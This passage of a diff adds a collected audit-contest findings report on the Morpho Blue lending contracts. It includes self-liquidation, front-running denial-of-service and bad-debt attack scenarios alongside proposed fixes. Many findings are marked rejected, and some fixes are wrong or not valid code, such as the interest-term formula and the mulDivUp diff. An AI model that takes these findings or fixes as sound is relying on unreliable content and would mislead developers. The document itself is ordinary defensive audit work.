+ params.amountCollateral = 130e6;
+ params.amountBorrowed = 53e6;
+ params.priceCollateral = 1e36; // price of collaterall respect to loan token -> 1:1
+ params.lltv = 0.8 ether; // normal one 0.8
+ oracle.setPrice(params.priceCollateral);
+
+And a collateral price decrease of 50% before and after borrowing. We get this total values in token B terms at the end of the operation.
+
+Liquidated by another one: 8.55e7 (original variables where scaled at e6)
+Self Liquidated: 8.744e7
+
+Being this approximately 2.24% difference.
+
+If the actor has borrowed with the vector attack architecture which is specified in the finding `Borower can have privileged position with dust orders`, it will already has a % of overall cost savings so a self-liquidation would only make it's operating structure way more efficient and boost it's privileges over it's peers.
+
+Impact:
+
+This will generate bad incentives for borrowers to self-liquidate themselves instead of repaying or letting others liquidate them, leaving valid liquidators with fewer operations to close. This issue should be addressed to ensure the fair and proper use of the protocol.
+But this is not all; according to the recent OpenZeppelin audit of Morpho-Blue, a bug was found related to the bad debt being able to be skipped maliciously (H-01). If you open several positions as a borrower and monitor them, ensuring that they are at a minimum unhealthy and eligible for bad debt, you can skip the bad debt by passing a total amount to seize equal to the collateral - 1.
+This increases the likelihood of exploiting that vulnerability. The interests of self-liquidation and skipping the bad debt are aligned since a borrower cannot simultaneously be, or at least typically is not, a lender (not affected by the skip debt bug) and is incentivised to perform their own liquidation. This directly attacks the good performance and accounting for bad debt.
+
+This vulnerability, which is a sum of various previously defined in this report and the other cited report, griefs the protocol with bad debt and creates a privileged position for borrowers which can benefit of this bad debt resulted of Under-collateralized position and transaction fees being over the LIF.
+
+Solution:
+
+The self-liquidation part could be mitigated with an additional check: ``` require(msg.sender != borrower, "you can't liquidate yourself").```
+Also important to note that a user could create another account and transfer the loan tokens to that account to perform the same operation. However, since Morpho-Blue is deployed on Ethereum, the extra gas fees required would likely discourage users from engaging in this practice due to the lack of incentives.
+
+A more robust solution but with a different tradeoff would be implementing an offchain mechanism to allow people to apply for being liquidators. Once protocol have their addresses, protocol can track them on chain using a mapping. And restrict call to `Morhpo::liquidate()` to only those addresses.
+
+
+
+### Borrow Rate is not validated against. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The borrow rate is what defines the interest of the pool and accrues interest both on supply and borrow. The IRM that handles this is an external function and if it fails it could lead to interest on the pool not accruing and thus lead to an unprofitable market.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471C4-L490C1
+
+
+`` uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id])``
+
+There should be a validation that validates that this crucial part of the protocol is at least above zero, since the IRM is arbitrary contract and can include multiple implementations thus one cannot validate what the max or min is, but atleast can validate that it returns a valid value.
+
+**Recommendation**:
+
+Check that the IRM returns a value above zero.
+
+
+
+### [M] Low level .call doesn't check for contract existence _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/SafeTransferLib.sol#L23
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/SafeTransferLib.sol#L31
+
+In the following functions, there are no explicit checks on the return values of the low level .call()
+
+If its return value is not checked, it can lead the caller to falsely believe that the call was successful.
+SafeTransferLib uses .call() to transfer the native token to receiver. If receiver reverts, this can lead to locked ETH in Receiver
+contract.
+
+
+
+ function safeTransfer(IERC20 token, address to, uint256 value) internal {
+ (bool success, bytes memory returndata) =
+ address(token).call(abi.encodeCall(IERC20Internal.transfer, (to, value)));
+ require(success, ErrorsLib.TRANSFER_REVERTED);
+ require(returndata.length == 0 || abi.decode(returndata, (bool)), ErrorsLib.TRANSFER_RETURNED_FALSE);
+ }
+
+If the receiver contract (liquidator) reverts during the transfer, and the safeTransfer function doesn't
+handle this correctly, the liquidation process might incorrectly assume that the transfer was successful.
+This can lead to discrepancies in accounting, where the protocol thinks assets have been transferred
+when they haven't.
+
+If the receiver contract (due to a bug or malicious design) causes the ETH transfer to fail
+(in case of Wrapped ETH or similar scenarios), and this failure isn't correctly identified and handled,
+it could lead to ETH being effectively locked within the protocol.
+
+**Recommendation**:
+
+Check the return value and revert if false is returned. Something like this for example:
+
+-address(token).call{ value: amount }("");
++(bool success, ) = (token).call{ value: amount }("");
++require(success)
+
+
+
+### Users with 0 borrow shares but little collateral can be liquidated _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L359-L359](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L359-L359)
+
+**Description**:
+In the `liquidate` function, instead of using the first `_isHealthy` implementation which checks to make sure that the borrower has any borrow shares, the second `_isHealthy` function is called which does not contain such check. The second `_isHealthy` implementation returns that the borrower's position is not healthy even if they have not borrowed any assets and their collateral is 0 or low enough that `maxBorrow` is rounded down to zero.
+In such cases, where the collateral is low, a borrower can be liquidated through the `liquidate` function, even though they have not borrowed any assets.
+Perhaps, this could also be exploited by a malicious actor who supplies 1 wei of collateral and liquidates themselves, in order to generate bad debt for the market.
+
+**Recommendation**:
+Use the first implementation of `_isHealthy`, which takes in 3 parameters and returns true if the user's `borrowShares` are equal to 0.
+
+
+
+### Borrow Rate can be manipulated in the accrueInterest function _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Problem:
+
+The function relies on the borrowRate returned by the IIrm(marketParams.irm) call. However, the marketParams.irm address is supplied by any arbitrary user and is not verified. This creates a window of opportunity for a malicious attacker to:
+
+- Deploy a malicious Iirm contract that returns a manipulated borrow rate, significantly higher than the intended rate.
+- Call the accrueInterest function with their malicious Iirm address as the marketParams.irm.
+- This triggers the accrual of excessive interest on the borrowed assets, inflating the totalBorrowAssets and totalSupplyAssets values.
+- The attacker can then exploit the inflated asset values for their own benefit, such as manipulating liquidations, borrowing more assets, or receiving higher fee shares.
+
+
+**Impact**:
+
+This vulnerability can have several severe consequences:
+
+- Unfair Interest Accrual: Borrowers are forced to pay significantly more interest than intended, leading to financial losses and potentially unhealthy positions.
+- Market Disruption: Inflated asset values can distort market calculations, impacting liquidations, borrowing rates, and overall protocol stability.
+
+**Recommendation**:
+
+To mitigate this vulnerability, several solutions can be implemented:
+
+- Whitelist IRMs: Maintain a whitelist of approved Iirm contracts for each market. The _accrueInterest function should only accept addresses from this whitelist, ensuring the borrow rate is retrieved from a trusted source.
+- Oracle-based Borrow Rate: Instead of relying solely on the Iirm contract, consider incorporating an oracle system to provide a more objective and verifiable borrow rate. This rate could be based on market data or other reliable sources.
+
+
+
+### Attacker can keep on borrowing from different markets using multiple accounts leaving bad debt in all markets _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+According to docs:
+
+*When a liquidation occurs on Morpho Blue, if the borrower has outstanding debt but no collateral, the losses are socialized proportionately among lenders, resulting in an instant loss for lenders. If for some reason liquidators don’t liquidate the position fully and thus do not account for bad debt, lenders can, if there is enough liquidity, temporarily withdraw their funds to account for the default without incurring any losses. As for future users, if there is unaccounted bad debt in the pool, they can account it before safely entering the market. As a result, Morpho Blue markets can continue running indefinitely in a trustless manner, regardless of market conditions.*
+
+Users can borrow tokens in a market using the `borrow()` either for themselves or on behalf of someone if authorized. However its easy for an attacker to completely drain the tokens in multiple markets using multiple accounts.
+
+- Proof of Concept
+
+```solidity
+File: Morpho.sol
+
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Borrow(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+Take the following scenario:
+
+- Attacker has two accounts **X** & **Y**. (considering two account for better clarity)
+- Attacks calls `borrow()` setting onBehalf with account X & receiver as account Y.
+- Attacker passes the initial checks, even the `_isSenderAuthorized()` because account X is the account he is calling the function from.
+- `position` & `market` is updated.
+- `_isHealthy()` returns `true` because the attacker hasn't borrowed previously for the specific id.
+
+```solidity
+File: Morpho.sol
+
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+ .....
+```
+
+- The loan token is successfully transferred to account Y leaving a bad debt for other lenders.
+- Attacker repeats the above method for various markets depleting all funds leaving bad debt everywhere using just two accounts
+
+Even if the current & future lenders manage to pay the bad debt & increase the supply of the specific market, the attacker can again borrow with a different account. Thus it is very easy for an attacker to completely drain the protocol.
+
+Seeing the repetitive attack, other users would lose trust in the protocol where they are always in a loss.
+
+- Tools Used
+
+Manual Review
+
+
+
+### should have gas stipend for liquidator . _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+protocol didn't implement gas stipend for liquidators . Protocol gave flash loan in order to liquidate , but flash loan is free and can be grief by attackers .So , liquidators won't have gas stipend for liquidations
+**Recommendation**:
+pls add gas stipend for liquidators
+
+
+
+### Precision loss in `wTaylorCompounded` leads to lower interests _(duplicate of [Wrong Taylor series approximation of e^(nx) - 1 allows borrowers to pay more interest])_
+
+**Severity:** Medium risk
+
+**Context:** [MathLib.sol#L41-L41](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L41-L41)
+
+**Description**:
+The `wTaylorCompounded` function calculates the necessary interest rate the following way:
+firstTerm = x * n;
+secondTerm = (x*n*x*n) / 2e18;
+thirdTerm = (x*n*x*n / 2e18) * x*n / 3e18;
+As we can see, due to the division before multiplication in the calculation of the third term, there would be a greater precision loss when retrieving the interest.
+Therefore, not only will lenders accrue less interest than expected, but fee receivers will get less rewards.
+
+**Recommendation**:
+Calculate the third term the following way:
+thirdTerm = (x*n*x*n * x*n) / 2e18 * 3e18;
+
+
+
+## Low risk
+### Use same pragma version on all the contracts
+
+**Severity:** Low risk
+
+**Context:** [IMorphoCallbacks.sol#L2-L2](morpho-org-morpho-blue-f463e40/src/interfaces/IMorphoCallbacks.sol#L2-L2)
+
+**Description**:
+
+**Recommendation**:
+
+
+
+### Users can authorise zero address, which might withdraw to zero address _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L429-L429](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L429-L429)
+
+**Description:**
+Users can maliciously (or) by error authorize zero addresses due to a lack of checks, which might allow users to use the `onBehalf` address as zero in [L244](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L244) which seems to depend on this function for validations.
+
+```
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+```
+
+This could lead to users withdrawing to zero addresses by mistake/error / maliciously.
+
+
+
+### Owner can be set to adress(0) _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Owner can be set to dead adress by the owner. If the owner is set to dead adress, it will be impossible to add new irm or lltv.
+
+**Recommendation**:
+
+Add a require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS); to the setOwner Method
+
+
+
+### Morpho allows to create small positions which leads to more bad debt
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When someone calls `borrow`, then he can provide any `assets` amount that he would like to borrow. In the end function will check [that position is healthy](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L255), which means that user has enough collateral amount to cover borrowed amount.
+
+The problem is that this function doesn't restrict minimum amount that user can borrow. So in case if such a small position will be open, that liquidator's profit on liquidation will be negative(gas costs is bigger), then liquidators will not liquidate such position and there is a risk that soon it will accrue bad debt for the market. The more such small positions market has, the more bad debt occurs, which means that suppliers lose funds.
+- Impact
+Because of small positions bad debt can occur, that is distributed among suppliers.
+- Recommended Mitigation Steps
+Each market should have `minPosition` param, so it's not possible to have smaller position. Also make sure, that liquidators also can't make position to be smaller than minimum amount.
+
+
+
+### Ownership can be burned
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L95)
+
+**Description**:
+
+The Morpho blue protocol incorporates an authorized role known as the owner. Typically, this owner role is expected to be held by the Morpho protocol governance. Within the ownership functionality, there exists the `setOwner()` function, enabling the current owner to transfer ownership to a new address.
+
+However, a critical oversight exists in this function, as it does not verify whether the newly provided address is set to 0. Consequently, the owner can effectively burn the ownership role by transferring it to `address(0)`, thereby freezing all `onlyOwner()` functions.
+
+**Recommendation**:
+
+To address this issue, it is recommended to enhance the `setOwner()` function by including a check for `address(0)`. This check can be implemented as follows:
+
+```solidity
+require(newOwner != address(0), "Ownership should not be burned").
+```
+
+This additional validation ensures that the ownership role cannot be mistakenly transferred to the zero address, preventing unintended freezing of `onlyOwner()` functions.
+
+
+
+### Ownership transfer should be a 2 step process
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L98-L98](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L98-L98)
+
+**Description**:
+The current implementation allows the admin to transfer their owner role via the `setOwner()` function. If, in this case, the admin role is accidentally transferred to an incorrect address that is not under admin control, it results in the locking of all `onlyOwner` functions.
+
+**Recommendation**:
+To mitigate this issue, it is recommended to implement a 2-step ownership transfer functionality. This functionality can be inspired by the OpenZeppelin [Onwable2Step](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable2Step.sol) library.
+
+This change can be implemented by adapting the `setOwner()` function and adding a new functionality for accepting the ownership transfer:
+
+```solidity
+/// @inheritdoc IMorphoBase
+function setOwner(address newOwner) external onlyOwner {
+ require(newOwner != owner, ErrorsLib.ALREADY_SET);
+
+ pendingOwner = newOwner;
+
+ emit EventsLib.SetPendingOwner(newOwner);
+}
+
+/// @inheritdoc IMorphoBase
+function acceptOwnershipTransfer() external {
+ require(msg.sender == pendingOwner, "This can only be called by the pending owner");
+
+ owner = msg.sender;
+
+ emit EventsLib.SetOwner(msg.sender);
+}
+```
+
+This modification introduces a two-step process where the current owner initiates the ownership transfer via `setOwner()`, and the pending owner must accept the transfer through `acceptOwnershipTransfer()`. This ensures that ownership is only transferred when explicitly accepted by the intended recipient, preventing accidental transfers to incorrect addresses.
+
+
+
+### Fees can be burned
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+**Description**:
+Within the Morpho blue protocol, the owner holds the authority to designate a fee recipient, responsible for receiving the fees generated by the project. This designation is facilitated through the `setFeeRecipient()` function.
+
+The concern with the current implementation lies in the absence of checks to prevent the owner from setting this variable to 0. This oversight could lead to unintended consequences, specifically the accidental burning of fees by setting the feeRecipient to `address(0)`.
+
+**Recommendation**:
+To address this issue, it is advisable to enhance the `setFeeRecipient()` function with an additional check. This check should ensure that the new fee recipient is not `address(0)`. The implementation of this safeguard is as follows:
+
+```solidity
+require(newFeeRecipient != address(0), "Fees should not be burned");
+```
+
+By incorporating this check, the contract adds a layer of protection, guaranteeing that the fee recipient is a valid Ethereum address and preventing inadvertent fee burns.
+
+
+
+### problems with rounding in the liquidate function
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+In order to make liquidation, liquidator can provide `seizedAssets` or `repaidShares` param. Then according to that params conterparty is calculated.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L369-L378
+```solidity
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+```
+
+In case if liquidator provided `seizedAssets`, then `repaidAssets` is calculated using `mulDivUp`, which is not correct in this case as it means that liquidator is able to provide smaller amount of repayment.
+
+In case if liquidator provided `repaidShares` param, then `repaidAssets` is calculated using `toAssetsUp`, which is again incorrect and means that liquidator will get bigger amount of assets for the repaid shares.
+
+In other parts of the contract Morpho protocol tries to always favour protocol using rounding side in such way. That's why i guess it should be done here, as well.
+- Impact
+Liquidator pays smaller amount for the received funds.
+- Recommended Mitigation Steps
+In both cases you need to round down.
+
+
+
+### Important addresses can be set to address(0)
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L98-L98](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L98-L98), [Morpho.sol#L142-L142](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L142-L142)
+
+**Description**: Important addresses can be set to **address(0)**. If this happens, the contract will not be able to execute vital operations.
+
+**Recommendation**:
+Add a check that reverts if the new account is address(0)
+
+
+
+### Market fee can silently overflow
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L133-L133](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L133-L133)
+
+**Description**:
+The market fee is passed as uint256 and is after that casted to uint128. If the fee is greater than type(uin128).max, a silent overflow will hapen which may result in a lower fee than expected.
+
+**Recommendation**:
+Ensure that an overflow has not happened.
+
+```solidity
+require(market[id].fee == newFee)
+```
+
+
+
+### IRMs and LLTVs can't be disabled
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The Morpho contract provides the `enableIrm` and `enableLltv` functions. There is however no option to disable these, so in case some settings are later discovered to be problematic, there's no way to prevent new markets from using them.
+
+**Recommendation**:
+Consider adding `disableLltv` and `disableIrm` functions
+
+
+
+### onlyOwner role can be lost permanently due to inaccurate use of `setOwner()` functionality
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+onlyOwner modifier ensures only the owner can call sensitive functions such as; `setOwner`, `enableIrm`, `enableLltv`, `setFee`, `setFeeRecipient`
+
+however due to lack of industry accept standard of push / pull functionality on sensitive address changes a careless administrator could set the owner address to an unrecoverable address and lose access to the above functions.
+
+**Recommendation**:
+Recommend providing an ownerPending variable that is accepted once the proposed owner confirms the intention in a separate transaction.
+
+
+
+### Signature Malleability of EVM’s ecrecover()
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L441-L441](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L441-L441)
+
+The `setAuthorizationWithSig()` function currently utilizes the solidity `ecrecover()` function directly for signature verification. However, it's important to note that the `ecrecover()` EVM opcode permits malleable (non-unique) signatures, exposing the system to potential replay attacks.
+
+This vulnerability could allow unauthorized users to forge signatures, thereby manipulating the `isAuthorized` mapping.
+
+To address this issue, it is recommended to leverage the well-established OpenZeppelin ECDSA library, which has undergone extensive testing and validation. You can find the library at the following link: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
+
+
+
+### `Morpho.sol` : Does not implement 2-Step-Process for transferring ownership
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L98-L98](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L98-L98)
+
+The contracts `Morpho.sol` does not implement a 2-Step-Process for transferring ownership.
+So ownership of the contract can easily be lost when making a mistake when transferring ownership.
+
+Since the privileged roles have critical function roles assigned to them. Assigning the ownership to a wrong user can be disastrous. So Consider using the Ownable2Step contract from OZ (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable2Step.sol) instead.
+
+The way it works is there is a `transferOwnership` to transfer the ownership and `acceptOwnership` to accept the ownership. Refer the above Ownable2Step.sol for more details.
+
+Implement 2-Step-Process for transferring ownership via Ownable2Step.
+
+
+
+
+### ecrecover is susceptible to signature malleability
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+By flipping `r` `s` and `v` it is possible to create a different signature that will amount to the same hash & signer. This is fixed in OpenZeppelin's ECDSA library like [this](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/dfef6a68ee18dbd2e1f5a099061a3b8a0e404485/contracts/utils/cryptography/ECDSA.sol#L125-L136). While this is not a problem since there is the canceledOrFilled mapping, it is still highly recommended that problem is addressed by using ECDSA.
+```solidity
+File: src/Morpho.sol
+
+441: address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+```
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L441
+
+**Recommendation**:
+Consider using OpenZeppelin’s ECDSA library: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
+
+
+
+### setFeeRecipient works retroactively
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The `Morpho.setFeeRecipient` function changes the fee recipient of all markets without accumulating interest. This means that interest accumulated by the old fee recipient can be harvested by the new recipient.
+
+This is a low severity as it's assumed that the old and the new fee recipients are trusted addresses held by the same entity - the protocol owners.
+
+**Recommendation**:
+Consider calling `_accrueInterest` in `setFeeRecipient`.
+
+
+
+### createMarket() allows loanToken and collateralToken to be the same
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Example:
+User can create a market of dai as collateral and dai as loan token.
+
+```
+>>> market_params = (dai, dai, oracle, irm, lltv)
+>>> morpho.createMarket(market_params, {"from": owner})
+Transaction sent: 0x5bc0d052893c0a1b13aeaf904015dd549368c2c66fdee08e1819caf24a29f9a0
+ Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 13
+ Morpho.createMarket confirmed Block: 18593835 Gas used: 153835 (1.28%)
+
+
+```
+
+**Remediation**
+
+Add a require statement in `createMarket()` like:
+```
+require(marketParams.loanToken != marketParams.collateralToken, ErrorsLib.SAME_TOKENS);
+```
+
+
+
+
+
+### Mathlib.mulDivUp() might have an overflow issue.
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Mathlib.mulDivUp() might have an overflow issue. The problem is that (x * y + (d - 1)) might be greater than type(uint256).max, which leads to overflow.
+
+Same issue exists for WadMath.wadDivUp(), which can be fixed in a similar way.
+
+
+**Recommendation**: To avoid such overflow, implement it as follows using the distribution law, (x*y - 1)/d + 1;
+
+```diff
+function mulDivUp (uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+ uint 256 result = x * y;
+ if(result = 0) return 0;
+ else (result-1) / d + 1;
+ }
+```
+
+
+
+
+
+### Failure to include an `address(0)` check for `feeRecipient` may result in the loss of collected fees.
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L142-L142](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L142-L142), [Morpho.sol#L487-L487](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L487-L487)
+
+In the current implementation, a critical oversight exists in the `_accrueInterest()` function, where supply shares are transferred to the `feeRecipient` without verifying whether `feeRecipient` has been properly initialized. If `setFeeRecipient()` is not called during contract deployment and the `feeRecipient` is left uninitialized, every invocation of `_accrueInterest` results in a transfer of supply shares to the zero address (address(0)).
+
+The impact of this oversight is the potential loss of supply shares to an unrecoverable address.
+
+To address this, it is recommended to include a check within `_accrueInterest()` to ensure that `feeRecipient` is a valid address before proceeding with any supply share transfers. Additionally, it is advisable to initialize `feeRecipient` either during contract deployment in the constructor to prevent unintended consequences during the contract's lifecycle.
+
+
+
+
+### Morpho.withdraw() should use UtilsLib.zeroFloorSub instead of regular sub when subtracting ``shares`` from ``totalSupplyShares``
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho.withdraw() should UtilsLib.zeroFloorSub instead of regular sub when subtracting ``shares`` from ``totalSupplyShares``
+
+
+The main issue here is that if the user provides the ``assets`` value in the input, then the ``toSharesUp`` will be used. Due to rounding up error, it is possible that ``shares > market[id].totalSupplyShares`` and the following line will revert:
+
+```javascript
+ market[id].totalSupplyShares -= shares.toUint128();
+```
+
+Similar scenario was prevented using the UtilsLib.zeroFloorSub() function, which will return zero if the first term is less than the second term.
+
+We should use UtilsLib.zeroFloorSub() instead of the regular subtraction to prevent similar underflow.
+
+
+**Recommendation**:
+use UtilsLib.zeroFloorSub() as follows:
+
+```diff
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+- market[id].totalSupplyShares -= shares.toUint128();
++ market[id].totalSupplyShares = UtilsLib.zeroFloorSub(market[id].totalSupplyShares, shares.toUint128());
+
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+
+```
+
+
+
+### There is no way to reset mistaken LTV values
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L113-L113](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L113-L113)
+
+- Description
+
+enableLltv() function is used to allow certain levels of loan to value ratios, these ratios must be enabled on a market before they can be used. If the owner accidentally sets a loan to value ratio incorrectly it is impossible to reset back to 'disallowed' which could lead to scam markets being created that enable 99% LTV. This issue would require a mistake on the owners behalf, a malicious market creator, then a conscious decision/mistake on the suppliers behalf. Ultimately reducing the likelihood of this issue to a low.
+
+- Resolution
+
+Allow for Lltvs do be disabled. It will need to be decided on whether this prevents active markets from passing health checks or just future markets creation from being used.
+
+
+
+### Repay function can be DOSed
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Attack Description
+
+"The repay function in the Morpho contract is vulnerable to a front-running attack that could lead to a denial of service (DoS) for a borrower attempting to repay their loan.
+
+This vulnerability arises from the contract's handling of share reduction during a loan repayment. If an attacker observes a borrower's repayment transaction in the mempool, they can exploit this by front-running the transaction with a smaller repayment on behalf of the same borrower. The sequence of events for this attack is as follows:
+
+ Victim's Repayment Initiation:
+ The Victim initiates a repayment of their total debt, say 500 DOLA, by calling the repay function with the appropriate amount.
+
+ Attack Detection:
+ The Attacker observes the Victim's transaction in the mempool awaiting confirmation.
+
+ Front-Running Repayment:
+ The Attacker executes their own repay transaction, targeting the Victim's loan but with a smaller amount, say 1 DOLA.
+ Due to the higher gas fee or other methods, the Attacker's transaction gets processed first.
+
+ Debt Reduction:
+ The Attacker's transaction reduces the Victim's outstanding debt by a small amount, changing it from 500 to 499 DOLA.
+
+ Transaction Reversion:
+ When the Victim's original transaction is processed, the repayment amount now exceeds the reduced debt.
+ The line position[id][onBehalf].borrowShares -= shares.toUint128(); in the repay function attempts to subtract more shares than available, leading to an underflow and causing the transaction to revert.
+
+ Repeated Exploitation:
+ The Attacker can repeatedly execute this strategy whenever the Victim tries to repay their loan, effectively preventing them from repaying their debt and causing a DoS.
+
+- Proof of Concept:
+
+ Victim calls repay() to pay off a debt of 500 DOLA.
+ Attacker observes the transaction in the mempool.
+ Attacker front-runs with a repay() transaction for 1 DOLA on the Victim's debt.
+ Attacker's transaction is executed first, reducing Victim's debt to 499 DOLA.
+ Victim's transaction fails due to an underflow in share subtraction, as the debt is now less than the repayment amount.
+
+This vulnerability highlights the need for robust handling of repayments in smart contracts, especially to mitigate potential front-running and underflow scenarios."
+
+- Conclusion
+
